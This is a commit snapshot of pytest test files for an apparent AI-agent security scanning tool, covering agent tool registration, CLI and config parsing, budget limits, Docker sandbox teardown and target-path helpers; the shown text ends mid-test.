chore: import upstream snapshot with attribution

This commit is contained in:
wehub-resource-sync
2026-07-13 12:11:42 +08:00
commit 558f5d0e50
220 changed files with 39039 additions and 0 deletions
View File
+88
View File
@@ -0,0 +1,88 @@
"""Tests for scan-agent tool registration in factory."""
from __future__ import annotations
import pytest
from agents.tool import FunctionTool
from strix.agents import factory
def _tool(name: str) -> FunctionTool:
return FunctionTool(
name=name,
description="test tool",
params_json_schema={"type": "object", "properties": {}, "additionalProperties": False},
on_invoke_tool=lambda _ctx, _inp: "ok",
)
@pytest.fixture(autouse=True)
def _reset_registry() -> object:
saved = list(factory._EXTRA_TOOLS)
factory._EXTRA_TOOLS.clear()
try:
yield
finally:
factory._EXTRA_TOOLS[:] = saved
def test_register_agent_tools_is_deduped() -> None:
tool = _tool("dup")
factory.register_agent_tools(tool)
factory.register_agent_tools(tool)
assert factory.registered_agent_tools() == (tool,)
def test_registered_tools_appear_before_lifecycle_tool() -> None:
tool = _tool("extra")
factory.register_agent_tools(tool)
root = factory.build_strix_agent(is_root=True)
child = factory.build_strix_agent(is_root=False)
root_names = [t.name for t in root.tools]
child_names = [t.name for t in child.tools]
assert root_names[-2:] == ["extra", "finish_scan"]
assert child_names[-2:] == ["extra", "agent_finish"]
def test_per_call_extra_tools_stack_with_registry() -> None:
factory.register_agent_tools(_tool("registered"))
agent = factory.build_strix_agent(is_root=True, extra_tools=[_tool("per_call")])
names = [t.name for t in agent.tools]
assert "registered" in names
assert "per_call" in names
assert names[-1] == "finish_scan"
def test_register_agent_tools_rejects_duplicate_names() -> None:
factory.register_agent_tools(_tool("same_name"))
with pytest.raises(ValueError, match="same_name"):
factory.register_agent_tools(_tool("same_name"))
def test_per_call_extra_tools_reject_duplicate_registered_names() -> None:
factory.register_agent_tools(_tool("same_name"))
with pytest.raises(ValueError, match="same_name"):
factory.build_strix_agent(is_root=True, extra_tools=[_tool("same_name")])
def test_instructions_override_is_used_verbatim() -> None:
custom = "You are a scan agent. Follow the provided scope."
agent = factory.build_strix_agent(is_root=True, instructions_override=custom)
assert agent.instructions == custom
def test_no_override_renders_builtin_prompt() -> None:
agent = factory.build_strix_agent(is_root=True)
assert isinstance(agent.instructions, str)
assert agent.instructions != ""
+90
View File
@@ -0,0 +1,90 @@
"""Tests for CLI target-list argument parsing."""
from __future__ import annotations
import importlib
import sys
from types import SimpleNamespace
from typing import TYPE_CHECKING, Any
import pytest
if TYPE_CHECKING:
from pathlib import Path
cli_main: Any = importlib.import_module("strix.interface.main")
def _stub_settings(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setattr(
cli_main,
"load_settings",
lambda: SimpleNamespace(runtime=SimpleNamespace(max_local_copy_mb=1024)),
)
def test_parse_arguments_accepts_target_list_file(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
target_list = tmp_path / "targets.txt"
target_list.write_text(
"https://test1.com/\n"
"\n"
"http://test2.com:5789/\n",
encoding="utf-8",
)
_stub_settings(monkeypatch)
monkeypatch.setattr(sys, "argv", ["strix", "--target-list", str(target_list), "-n"])
args = cli_main.parse_arguments()
assert [target["original"] for target in args.targets_info] == [
"https://test1.com/",
"http://test2.com:5789/",
]
assert [target["type"] for target in args.targets_info] == [
"web_application",
"web_application",
]
def test_parse_arguments_combines_target_and_target_list(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
target_list = tmp_path / "targets.txt"
target_list.write_text("http://test2.com:5789/\n", encoding="utf-8")
_stub_settings(monkeypatch)
monkeypatch.setattr(
sys,
"argv",
["strix", "-t", "https://test1.com/", "--target-list", str(target_list)],
)
args = cli_main.parse_arguments()
assert [target["original"] for target in args.targets_info] == [
"https://test1.com/",
"http://test2.com:5789/",
]
def test_parse_arguments_rejects_resume_with_target_list(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
) -> None:
target_list = tmp_path / "targets.txt"
target_list.write_text("https://test1.com/\n", encoding="utf-8")
monkeypatch.setattr(
sys,
"argv",
["strix", "--resume", "old-run", "--target-list", str(target_list)],
)
with pytest.raises(SystemExit):
cli_main.parse_arguments()
assert (
"Cannot combine --resume with --target/--target-list/--mount"
in capsys.readouterr().err
)
+209
View File
@@ -0,0 +1,209 @@
"""Tests for strix.config.loader: JSON overrides, alias resolution, persistence."""
from __future__ import annotations
import json
from typing import TYPE_CHECKING
import pytest
from pydantic import AliasChoices, Field
from pydantic.fields import FieldInfo
from strix.config import loader
if TYPE_CHECKING:
from pathlib import Path
_LLM_ENV_KEYS = [
"STRIX_LLM",
"LLM_API_KEY",
"OPENAI_API_KEY",
"LLM_API_BASE",
"OPENAI_API_BASE",
"OPENAI_BASE_URL",
"LITELLM_BASE_URL",
"OLLAMA_API_BASE",
"STRIX_REASONING_EFFORT",
"STRIX_FORCE_REQUIRED_TOOL_CHOICE",
"LLM_TIMEOUT",
"PERPLEXITY_API_KEY",
# RuntimeSettings
"STRIX_IMAGE",
"STRIX_RUNTIME_BACKEND",
"STRIX_MAX_LOCAL_COPY_MB",
# TelemetrySettings
"STRIX_TELEMETRY",
]
@pytest.fixture(autouse=True)
def _reset_loader_state(monkeypatch: pytest.MonkeyPatch) -> None:
"""Reset module globals and clear known env vars for deterministic runs."""
for key in _LLM_ENV_KEYS:
monkeypatch.delenv(key, raising=False)
monkeypatch.setattr(loader, "_cached", None)
monkeypatch.setattr(loader, "_override", None)
# --------------------------------------------------------------------------- #
# _read_json_overrides
# --------------------------------------------------------------------------- #
def test_read_json_overrides_missing_file(tmp_path: Path) -> None:
assert loader._read_json_overrides(tmp_path / "nope.json") == {}
def test_read_json_overrides_corrupt_json(tmp_path: Path) -> None:
path = tmp_path / "cli-config.json"
path.write_text("{not valid json", encoding="utf-8")
assert loader._read_json_overrides(path) == {}
def test_read_json_overrides_non_dict_env(tmp_path: Path) -> None:
path = tmp_path / "cli-config.json"
path.write_text(json.dumps({"env": ["not", "a", "dict"]}), encoding="utf-8")
assert loader._read_json_overrides(path) == {}
def test_read_json_overrides_maps_to_nested_settings(tmp_path: Path) -> None:
path = tmp_path / "cli-config.json"
path.write_text(
json.dumps({"env": {"STRIX_LLM": "my-model", "PERPLEXITY_API_KEY": "pk"}}),
encoding="utf-8",
)
assert loader._read_json_overrides(path) == {
"llm": {"model": "my-model"},
"integrations": {"perplexity_api_key": "pk"},
}
def test_read_json_overrides_skips_keys_already_in_environ(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
monkeypatch.setenv("STRIX_LLM", "from-env")
path = tmp_path / "cli-config.json"
path.write_text(json.dumps({"env": {"STRIX_LLM": "from-file"}}), encoding="utf-8")
# env wins -> the JSON value is not surfaced as an init kwarg.
assert loader._read_json_overrides(path) == {}
def test_read_json_overrides_env_wins_across_field_aliases(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
# api_key resolves from AliasChoices("LLM_API_KEY", "OPENAI_API_KEY"). The env
# sets one alias while the persisted file holds another. Env must still win, so
# the stale file value must not be surfaced as an init kwarg (which outranks env).
monkeypatch.setenv("OPENAI_API_KEY", "sk-env")
path = tmp_path / "cli-config.json"
path.write_text(json.dumps({"env": {"LLM_API_KEY": "sk-file"}}), encoding="utf-8")
assert loader._read_json_overrides(path) == {}
def test_read_json_overrides_env_wins_case_insensitively(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
) -> None:
# Settings use case_sensitive=False, so a lowercase env var also counts as set.
monkeypatch.setenv("strix_llm", "from-env")
path = tmp_path / "cli-config.json"
path.write_text(json.dumps({"env": {"STRIX_LLM": "from-file"}}), encoding="utf-8")
assert loader._read_json_overrides(path) == {}
def test_read_json_overrides_uses_json_when_no_alias_in_environ(tmp_path: Path) -> None:
# No alias of api_key is set in the environment -> the file value is used, even
# when it is stored under a non-first alias.
path = tmp_path / "cli-config.json"
path.write_text(json.dumps({"env": {"OPENAI_API_KEY": "sk-file"}}), encoding="utf-8")
assert loader._read_json_overrides(path) == {"llm": {"api_key": "sk-file"}}
# --------------------------------------------------------------------------- #
# _aliases_for
# --------------------------------------------------------------------------- #
def test_aliases_for_simple_alias() -> None:
finfo = FieldInfo(alias="SIMPLE_ALIAS")
assert loader._aliases_for(finfo) == ["SIMPLE_ALIAS"]
def test_aliases_for_alias_choices() -> None:
finfo: FieldInfo = Field( # type: ignore[assignment]
default=None,
validation_alias=AliasChoices("FIRST", "SECOND"),
)
assert loader._aliases_for(finfo) == ["FIRST", "SECOND"]
def test_aliases_for_string_validation_alias() -> None:
finfo: FieldInfo = Field(default=None, validation_alias="STR_ALIAS") # type: ignore[assignment]
assert loader._aliases_for(finfo) == ["STR_ALIAS"]
def test_aliases_for_no_alias() -> None:
assert loader._aliases_for(FieldInfo()) == []
# --------------------------------------------------------------------------- #
# apply_config_override + load_settings round-trip
# --------------------------------------------------------------------------- #
def test_apply_override_and_load_settings_round_trip(tmp_path: Path) -> None:
path = tmp_path / "cli-config.json"
path.write_text(
json.dumps({"env": {"STRIX_LLM": "round-trip-model", "PERPLEXITY_API_KEY": "pk"}}),
encoding="utf-8",
)
loader.apply_config_override(path)
settings = loader.load_settings()
assert settings.llm.model == "round-trip-model"
assert settings.integrations.perplexity_api_key == "pk"
# Second call is memoized -> same object.
assert loader.load_settings() is settings
def test_apply_config_override_invalidates_cache(tmp_path: Path) -> None:
first = tmp_path / "first.json"
first.write_text(json.dumps({"env": {"STRIX_LLM": "first-model"}}), encoding="utf-8")
second = tmp_path / "second.json"
second.write_text(json.dumps({"env": {"STRIX_LLM": "second-model"}}), encoding="utf-8")
loader.apply_config_override(first)
assert loader.load_settings().llm.model == "first-model"
loader.apply_config_override(second)
assert loader.load_settings().llm.model == "second-model"
# --------------------------------------------------------------------------- #
# persist_current
# --------------------------------------------------------------------------- #
def test_persist_current_writes_env_block(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("STRIX_LLM", "persisted-model")
target = tmp_path / "sub" / "cli-config.json"
loader.apply_config_override(target)
loader.persist_current()
assert target.exists()
assert json.loads(target.read_text(encoding="utf-8")) == {
"env": {"STRIX_LLM": "persisted-model"}
}
def test_persist_current_sets_0600_mode(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("STRIX_LLM", "persisted-model")
target = tmp_path / "cli-config.json"
loader.apply_config_override(target)
loader.persist_current()
assert target.stat().st_mode & 0o777 == 0o600
+44
View File
@@ -0,0 +1,44 @@
"""Tests for provider-reported LLM cost capture."""
from __future__ import annotations
from types import SimpleNamespace
from unittest.mock import MagicMock, patch
import litellm
from strix.config.models import _configure_litellm_compatibility
from strix.report.state import litellm_cost_callback
def test_streaming_logging_stays_enabled_for_cost_callback() -> None:
with (
patch.object(litellm, "disable_streaming_logging", new=True),
patch("strix.config.models._register_litellm_cost_callback") as register,
):
_configure_litellm_compatibility()
assert litellm.disable_streaming_logging is False
register.assert_called_once_with()
def test_cost_callback_reads_openrouter_stream_usage_cost() -> None:
report_state = MagicMock()
response = SimpleNamespace(
usage=SimpleNamespace(cost=1.2345),
_hidden_params={},
)
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({"response_cost": None}, response)
report_state.record_observed_llm_cost.assert_called_once_with(1.2345)
def test_cost_callback_reads_usage_cost_from_mapping_response() -> None:
report_state = MagicMock()
response = {"usage": {"cost": 0.125}}
with patch("strix.report.state.get_global_report_state", return_value=report_state):
litellm_cost_callback({}, response)
report_state.record_observed_llm_cost.assert_called_once_with(0.125)
+86
View File
@@ -0,0 +1,86 @@
"""StrixDockerSandboxClient.delete() best-effort teardown.
delete() kills the sandbox container before delegating to the SDK's delete().
The kill is meant to be best-effort, but the ``contextlib.suppress`` around it
must cover the case where the docker daemon socket is already gone: then
``containers.get()`` -> ``inspect_container`` raises requests'
``ConnectionError``, which is a *sibling* of ``docker.errors.APIError`` under
``requests.RequestException`` (not a subclass), so an APIError-only suppress
would let it escape and surface a traceback on every teardown.
"""
from __future__ import annotations
from types import SimpleNamespace
from unittest.mock import AsyncMock, MagicMock, patch
import pytest
from agents.sandbox.sandboxes.docker import DockerSandboxClient
from docker import errors as docker_errors
from requests.exceptions import ConnectionError as RequestsConnectionError
from strix.runtime.docker_client import StrixDockerSandboxClient
def _client_with_kill_error(exc: Exception) -> StrixDockerSandboxClient:
"""A StrixDockerSandboxClient whose containers.get(...).kill() raises ``exc``."""
client = StrixDockerSandboxClient.__new__(StrixDockerSandboxClient)
docker_client = MagicMock()
docker_client.containers.get.side_effect = exc
client.docker_client = docker_client
return client
def _session() -> object:
# delete() reads session._inner.state.container_id
return SimpleNamespace(_inner=SimpleNamespace(state=SimpleNamespace(container_id="abc123")))
@pytest.mark.parametrize(
"exc",
[
RequestsConnectionError("Connection aborted", FileNotFoundError(2, "No such file")),
docker_errors.NotFound("gone"),
docker_errors.APIError("unhappy"),
],
)
@pytest.mark.asyncio
async def test_delete_swallows_best_effort_kill_errors(exc):
"""A torn-down socket (ConnectionError) or a gone/unhappy container
(NotFound/APIError) during the kill must not propagate; delete() still
delegates to the SDK's delete()."""
client = _client_with_kill_error(exc)
session = _session()
with patch.object(
DockerSandboxClient, "delete", new=AsyncMock(return_value=session)
) as super_delete:
result = await client.delete(session)
assert result is session
super_delete.assert_awaited_once() # teardown proceeded despite the kill error
@pytest.mark.asyncio
async def test_delete_does_not_swallow_unrelated_errors():
"""A programming error (e.g. ValueError) is not part of best-effort kill and
must still propagate."""
client = _client_with_kill_error(ValueError("boom"))
with pytest.raises(ValueError):
await client.delete(_session())
@pytest.mark.asyncio
async def test_delete_noop_without_container_id():
"""No container_id -> no kill attempt, just delegate."""
client = StrixDockerSandboxClient.__new__(StrixDockerSandboxClient)
client.docker_client = MagicMock()
session = SimpleNamespace(_inner=SimpleNamespace(state=SimpleNamespace(container_id=None)))
with patch.object(
DockerSandboxClient, "delete", new=AsyncMock(return_value=session)
) as super_delete:
await client.delete(session)
client.docker_client.containers.get.assert_not_called()
super_delete.assert_awaited_once()
+44
View File
@@ -0,0 +1,44 @@
"""Tests for the scan-wide budget-stop signal on the agent coordinator."""
from __future__ import annotations
import asyncio
import pytest
from strix.core.agents import AgentCoordinator
@pytest.mark.asyncio
async def test_budget_stop_sets_flag() -> None:
coordinator = AgentCoordinator()
await coordinator.register("root", "strix", parent_id=None)
assert coordinator.budget_stopped is False
await coordinator.trigger_budget_stop()
assert coordinator.budget_stopped is True
@pytest.mark.asyncio
async def test_budget_stop_unblocks_parked_agent() -> None:
# A parent parked in wait_for_message (awaiting a child) must be released so
# it can exit, no matter where in the tree the budget limit was hit.
coordinator = AgentCoordinator()
await coordinator.register("parent", "strix", parent_id=None)
waiter = asyncio.create_task(coordinator.wait_for_message("parent"))
await asyncio.sleep(0) # let the waiter park
assert not waiter.done()
await coordinator.trigger_budget_stop()
await asyncio.wait_for(waiter, timeout=1.0)
@pytest.mark.asyncio
async def test_wait_for_message_returns_immediately_after_budget_stop() -> None:
coordinator = AgentCoordinator()
await coordinator.register("agent", "recon", parent_id="parent")
await coordinator.trigger_budget_stop()
# No pending messages, but the stop flag short-circuits the wait.
await asyncio.wait_for(coordinator.wait_for_message("agent"), timeout=1.0)
+108
View File
@@ -0,0 +1,108 @@
"""Tests for budget enforcement in ReportUsageHooks."""
from __future__ import annotations
from unittest.mock import MagicMock, patch
import pytest
from strix.core.hooks import BudgetExceededError, ReportUsageHooks
def _make_hooks(max_budget: float | None) -> ReportUsageHooks:
return ReportUsageHooks(model="test-model", max_budget_usd=max_budget)
def _make_report_state(cost: float) -> MagicMock:
state = MagicMock()
state.get_total_llm_cost.return_value = cost
state.record_sdk_usage = MagicMock()
return state
def _make_context(agent_id: str = "test-agent") -> MagicMock:
ctx: MagicMock = MagicMock()
ctx.context = {"agent_id": agent_id}
return ctx
@pytest.mark.asyncio
async def test_no_budget_never_raises() -> None:
hooks = _make_hooks(None)
state = _make_report_state(9999.0)
with patch("strix.core.hooks.get_global_report_state", return_value=state):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.asyncio
async def test_under_budget_does_not_raise() -> None:
hooks = _make_hooks(10.0)
state = _make_report_state(9.99)
with patch("strix.core.hooks.get_global_report_state", return_value=state):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.asyncio
async def test_at_budget_raises() -> None:
hooks = _make_hooks(10.0)
state = _make_report_state(10.0)
with (
patch("strix.core.hooks.get_global_report_state", return_value=state),
pytest.raises(BudgetExceededError),
):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.asyncio
async def test_over_budget_raises() -> None:
hooks = _make_hooks(10.0)
state = _make_report_state(10.01)
with (
patch("strix.core.hooks.get_global_report_state", return_value=state),
pytest.raises(BudgetExceededError),
):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.asyncio
async def test_budget_check_uses_live_cost_accessor() -> None:
# The check must read the live ledger, not the persisted run-record snapshot,
# so it stays accurate even when a save fails after a usage record.
hooks = _make_hooks(5.0)
state = _make_report_state(6.0)
with (
patch("strix.core.hooks.get_global_report_state", return_value=state),
pytest.raises(BudgetExceededError),
):
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
state.get_total_llm_cost.assert_called_once()
state.get_total_llm_usage.assert_not_called()
@pytest.mark.asyncio
async def test_error_message_includes_amounts() -> None:
hooks = _make_hooks(5.0)
state = _make_report_state(7.1234)
with patch("strix.core.hooks.get_global_report_state", return_value=state):
with pytest.raises(BudgetExceededError, match=r"\$5\.00") as exc_info:
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
assert "7.1234" in str(exc_info.value)
@pytest.mark.asyncio
async def test_no_raise_when_report_state_none() -> None:
hooks = _make_hooks(1.0)
with patch("strix.core.hooks.get_global_report_state", return_value=None):
# Should return early without raising, even with budget set
await hooks.on_llm_end(_make_context(), MagicMock(), MagicMock())
@pytest.mark.parametrize("bad_budget", [0.0, -0.01, -5.0])
def test_non_positive_budget_rejected(bad_budget: float) -> None:
with pytest.raises(ValueError, match="greater than 0"):
ReportUsageHooks(model="test-model", max_budget_usd=bad_budget)
def test_budget_exceeded_error_is_runtime_error() -> None:
err = BudgetExceededError("test")
assert isinstance(err, RuntimeError)
+157
View File
@@ -0,0 +1,157 @@
"""Tests for pure input builders in strix.core.inputs."""
from __future__ import annotations
from itertools import pairwise
from typing import Any
import pytest
from strix.core.inputs import build_root_task, child_initial_input, make_model_settings
def _child_kwargs(parent_history: list[Any]) -> dict[str, Any]:
return {
"name": "scout",
"child_id": "agent-2",
"parent_id": "agent-1",
"task": "Audit the login flow.",
"parent_history": parent_history,
}
def test_child_initial_input_single_message_without_history() -> None:
result = child_initial_input(**_child_kwargs([]))
assert len(result) == 1
assert result[0]["role"] == "user"
content = result[0]["content"]
assert "agent scout (agent-2)" in content
assert "Audit the login flow." in content
assert "Inherited context" not in content
def test_child_initial_input_single_message_with_history() -> None:
history = [{"role": "assistant", "content": "previous work"}]
result = child_initial_input(**_child_kwargs(history))
assert len(result) == 1
assert result[0]["role"] == "user"
content = result[0]["content"]
assert "Inherited context from parent" in content
assert "previous work" in content
assert "agent scout (agent-2)" in content
assert "Audit the login flow." in content
@pytest.mark.parametrize(
"parent_history",
[[], [{"role": "assistant", "content": "previous work"}]],
)
def test_child_initial_input_no_consecutive_same_role(parent_history: list[Any]) -> None:
result = child_initial_input(**_child_kwargs(parent_history))
roles = [msg["role"] for msg in result]
assert all(prev != nxt for prev, nxt in pairwise(roles))
def test_build_root_task_empty_config() -> None:
assert build_root_task({}) == ""
def test_build_root_task_repository_target() -> None:
config = {
"targets": [
{
"type": "repository",
"details": {
"target_repo": "https://example.com/repo.git",
"cloned_repo_path": "/workspace/repo",
"workspace_subdir": "repo",
},
},
],
}
task = build_root_task(config)
assert "Repositories:" in task
assert "/workspace/repo" in task
assert "https://example.com/repo.git" in task
def test_build_root_task_web_application_with_instructions() -> None:
config = {
"targets": [
{"type": "web_application", "details": {"target_url": "https://app.example.com"}},
],
"user_instructions": "Focus on auth.",
}
task = build_root_task(config)
assert "URLs:" in task
assert "https://app.example.com" in task
assert "Special instructions: Focus on auth." in task
def test_build_root_task_diff_scope() -> None:
config = {
"targets": [],
"diff_scope": {
"active": True,
"repos": [
{
"workspace_subdir": "repo",
"analyzable_files_count": 3,
"deleted_files_count": 2,
},
],
},
}
task = build_root_task(config)
assert "Scope Constraints:" in task
assert "3 changed file(s)" in task
assert "2 deleted file(s)" in task
@pytest.mark.parametrize("model_name", ["openai/o3", "gpt-4o"])
def test_make_model_settings_forces_required_tool_choice_for_openai_models(
model_name: str,
) -> None:
settings = make_model_settings(
"none",
model_name=model_name,
force_required_tool_choice=True,
)
assert settings.tool_choice == "required"
def test_make_model_settings_skips_required_tool_choice_for_non_openai_models() -> None:
settings = make_model_settings(
"none",
model_name="anthropic/claude-3-7-sonnet-latest",
force_required_tool_choice=True,
)
assert settings.tool_choice is None
def test_make_model_settings_forces_required_for_routed_openai_model() -> None:
settings = make_model_settings(
None,
model_name="litellm/openai/gpt-4o",
force_required_tool_choice=True,
)
assert settings.tool_choice == "required"
def test_make_model_settings_forces_required_for_anyllm_routed_openai_model() -> None:
settings = make_model_settings(
None,
model_name="any-llm/openai/gpt-4o",
force_required_tool_choice=True,
)
assert settings.tool_choice == "required"
+249
View File
@@ -0,0 +1,249 @@
"""Tests for local-source sizing and ``--mount`` target helpers in interface.utils."""
from __future__ import annotations
import logging
import os
import sys
from typing import TYPE_CHECKING, Any
import pytest
if TYPE_CHECKING:
from pathlib import Path
from strix.interface.utils import (
build_mount_targets_info,
collect_local_sources,
dedupe_local_targets,
directory_size_bytes,
find_oversized_local_targets,
read_target_list_file,
)
def _write_file(path: Path, size: int) -> None:
path.write_bytes(b"x" * size)
def _local_target(target_path: str, *, mount: bool = False) -> dict[str, Any]:
details: dict[str, Any] = {"target_path": target_path, "workspace_subdir": "repo"}
if mount:
details["mount"] = True
return {"type": "local_code", "details": details, "original": target_path}
def test_directory_size_empty_dir_is_zero(tmp_path: Path) -> None:
assert directory_size_bytes(tmp_path) == 0
def test_directory_size_sums_flat_and_nested_files(tmp_path: Path) -> None:
_write_file(tmp_path / "a.txt", 100)
nested = tmp_path / "sub" / "deep"
nested.mkdir(parents=True)
_write_file(nested / "b.txt", 250)
assert directory_size_bytes(tmp_path) == 350
def test_directory_size_skips_symlinks(tmp_path: Path) -> None:
_write_file(tmp_path / "real.txt", 100)
(tmp_path / "link.txt").symlink_to(tmp_path / "real.txt")
# The symlink target is counted once via the real file, not doubled.
assert directory_size_bytes(tmp_path) == 100
@pytest.mark.skipif(sys.platform == "win32", reason="relies on POSIX permissions")
def test_directory_size_logs_and_skips_unreadable_subdir(
tmp_path: Path, caplog: pytest.LogCaptureFixture
) -> None:
if hasattr(os, "geteuid") and os.geteuid() == 0:
pytest.skip("root bypasses directory permissions")
_write_file(tmp_path / "top.txt", 100)
locked = tmp_path / "locked"
locked.mkdir()
_write_file(locked / "secret.bin", 9999)
locked.chmod(0o000)
try:
with caplog.at_level(logging.WARNING):
size = directory_size_bytes(tmp_path)
finally:
locked.chmod(0o755)
# The unreadable subtree is excluded (not silently treated as readable) and
# the omission is logged rather than vanishing without a trace.
assert size == 100
assert any("Could not read" in record.message for record in caplog.records)
def test_find_oversized_returns_nothing_under_limit(tmp_path: Path) -> None:
_write_file(tmp_path / "a.txt", 100)
targets = [_local_target(str(tmp_path))]
assert find_oversized_local_targets(targets, max_bytes=1000) == []
def test_find_oversized_returns_target_over_limit(tmp_path: Path) -> None:
_write_file(tmp_path / "big.bin", 500)
targets = [_local_target(str(tmp_path))]
result = find_oversized_local_targets(targets, max_bytes=100)
assert result == [(str(tmp_path), 500)]
def test_find_oversized_ignores_mounted_targets(tmp_path: Path) -> None:
_write_file(tmp_path / "big.bin", 500)
targets = [_local_target(str(tmp_path), mount=True)]
assert find_oversized_local_targets(targets, max_bytes=100) == []
def test_find_oversized_ignores_non_local_targets() -> None:
targets = [{"type": "web_application", "details": {"target_url": "https://x"}}]
assert find_oversized_local_targets(targets, max_bytes=1) == []
@pytest.mark.parametrize("disabled", [0, -1])
def test_find_oversized_disabled_for_non_positive_limit(tmp_path: Path, disabled: int) -> None:
_write_file(tmp_path / "big.bin", 500)
targets = [_local_target(str(tmp_path))]
assert find_oversized_local_targets(targets, max_bytes=disabled) == []
def test_collect_local_sources_propagates_mount_flag() -> None:
copied = _local_target("/copied")
copied["details"]["workspace_subdir"] = "copied"
mounted = _local_target("/mounted", mount=True)
mounted["details"]["workspace_subdir"] = "mounted"
sources = collect_local_sources([copied, mounted])
by_path = {s["source_path"]: s for s in sources}
assert by_path["/copied"]["mount"] is False
assert by_path["/mounted"]["mount"] is True
def test_collect_local_sources_repository_is_never_mounted() -> None:
repo = {
"type": "repository",
"details": {"cloned_repo_path": "/clone", "workspace_subdir": "clone"},
}
sources = collect_local_sources([repo])
assert sources == [{"source_path": "/clone", "workspace_subdir": "clone", "mount": False}]
def test_build_mount_targets_info_for_valid_dir(tmp_path: Path) -> None:
result = build_mount_targets_info([str(tmp_path)])
assert len(result) == 1
entry = result[0]
assert entry["type"] == "local_code"
assert entry["details"]["mount"] is True
assert entry["details"]["target_path"] == str(tmp_path.resolve())
def test_build_mount_targets_info_rejects_missing_path(tmp_path: Path) -> None:
missing = tmp_path / "does-not-exist"
with pytest.raises(ValueError, match="not an existing directory"):
build_mount_targets_info([str(missing)])
def test_build_mount_targets_info_rejects_file(tmp_path: Path) -> None:
file_path = tmp_path / "a-file.txt"
_write_file(file_path, 10)
with pytest.raises(ValueError, match="not an existing directory"):
build_mount_targets_info([str(file_path)])
@pytest.mark.parametrize("empty", ["", " "])
def test_build_mount_targets_info_rejects_empty_path(empty: str) -> None:
# An empty path would otherwise resolve to the current working directory
# and silently bind-mount it into the sandbox.
with pytest.raises(ValueError, match="must not be empty"):
build_mount_targets_info([empty])
def test_read_target_list_file_strips_blank_lines(tmp_path: Path) -> None:
target_list = tmp_path / "targets.txt"
target_list.write_text(
"\n"
" https://test1.com/ \n"
"\n"
"http://test2.com:5789/\n"
" \n",
encoding="utf-8",
)
assert read_target_list_file(str(target_list)) == [
"https://test1.com/",
"http://test2.com:5789/",
]
def test_read_target_list_file_ignores_comment_lines(tmp_path: Path) -> None:
target_list = tmp_path / "targets.txt"
target_list.write_text(
"# production targets\n"
"https://test1.com/\n"
" # staging targets\n"
"http://test2.com:5789/\n",
encoding="utf-8",
)
assert read_target_list_file(str(target_list)) == [
"https://test1.com/",
"http://test2.com:5789/",
]
def test_read_target_list_file_rejects_empty_file(tmp_path: Path) -> None:
target_list = tmp_path / "targets.txt"
target_list.write_text(" \n# no targets yet\n\n", encoding="utf-8")
with pytest.raises(ValueError, match="is empty"):
read_target_list_file(str(target_list))
def test_read_target_list_file_rejects_missing_path(tmp_path: Path) -> None:
with pytest.raises(ValueError, match="not an existing file"):
read_target_list_file(str(tmp_path / "missing.txt"))
def test_read_target_list_file_rejects_non_utf8_file(tmp_path: Path) -> None:
target_list = tmp_path / "targets.txt"
target_list.write_bytes(b"https://test1.com/\xff\n")
with pytest.raises(ValueError, match="must be valid UTF-8 text"):
read_target_list_file(str(target_list))
@pytest.mark.parametrize("empty", ["", " "])
def test_read_target_list_file_rejects_empty_path(empty: str) -> None:
with pytest.raises(ValueError, match="must not be empty"):
read_target_list_file(empty)
def test_dedupe_keeps_distinct_targets_in_order() -> None:
targets = [
_local_target("/a"),
{"type": "web_application", "details": {"target_url": "https://x"}},
_local_target("/b", mount=True),
]
assert dedupe_local_targets(targets) == targets
def test_dedupe_mount_supersedes_copied_same_path() -> None:
copied = _local_target("/repo")
mounted = _local_target("/repo", mount=True)
# Copied first, then mounted: the single surviving entry is the mount.
result = dedupe_local_targets([copied, mounted])
assert len(result) == 1
assert result[0]["details"]["mount"] is True
# Order-independent: mounted first, copied second also yields the mount.
result_rev = dedupe_local_targets([mounted, copied])
assert len(result_rev) == 1
assert result_rev[0]["details"]["mount"] is True
def test_dedupe_collapses_duplicate_mounts() -> None:
result = dedupe_local_targets(
[_local_target("/repo", mount=True), _local_target("/repo", mount=True)]
)
assert len(result) == 1
+67
View File
@@ -0,0 +1,67 @@
"""Tests for per-run notes storage."""
from __future__ import annotations
import uuid
from typing import TYPE_CHECKING
import pytest
import strix.tools.notes.tools as notes_tools
if TYPE_CHECKING:
from collections.abc import Iterator
@pytest.fixture(autouse=True)
def _reset_notes_storage(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
monkeypatch.setattr(notes_tools, "_notes_path", None)
with notes_tools._notes_lock:
notes_tools._notes_storage.clear()
yield
with notes_tools._notes_lock:
notes_tools._notes_storage.clear()
def test_create_note_retries_on_note_id_collision(monkeypatch: pytest.MonkeyPatch) -> None:
generated_ids = iter(
[
uuid.UUID("abcdef00-0000-4000-8000-000000000000"),
uuid.UUID("abcdef11-0000-4000-8000-000000000000"),
uuid.UUID("12345600-0000-4000-8000-000000000000"),
]
)
monkeypatch.setattr(notes_tools.uuid, "uuid4", lambda: next(generated_ids))
first = notes_tools._create_note_impl("first", "original content")
second = notes_tools._create_note_impl("second", "new content")
assert first["success"] is True
assert first["note_id"] == "abcdef"
assert second["success"] is True
assert second["note_id"] == "123456"
assert second["total_count"] == 2
assert notes_tools._notes_storage["abcdef"]["content"] == "original content"
assert notes_tools._notes_storage["123456"]["content"] == "new content"
def test_create_note_returns_error_after_repeated_note_id_collisions(
monkeypatch: pytest.MonkeyPatch,
) -> None:
monkeypatch.setattr(notes_tools, "_NOTE_ID_GENERATION_ATTEMPTS", 2)
monkeypatch.setattr(
notes_tools.uuid,
"uuid4",
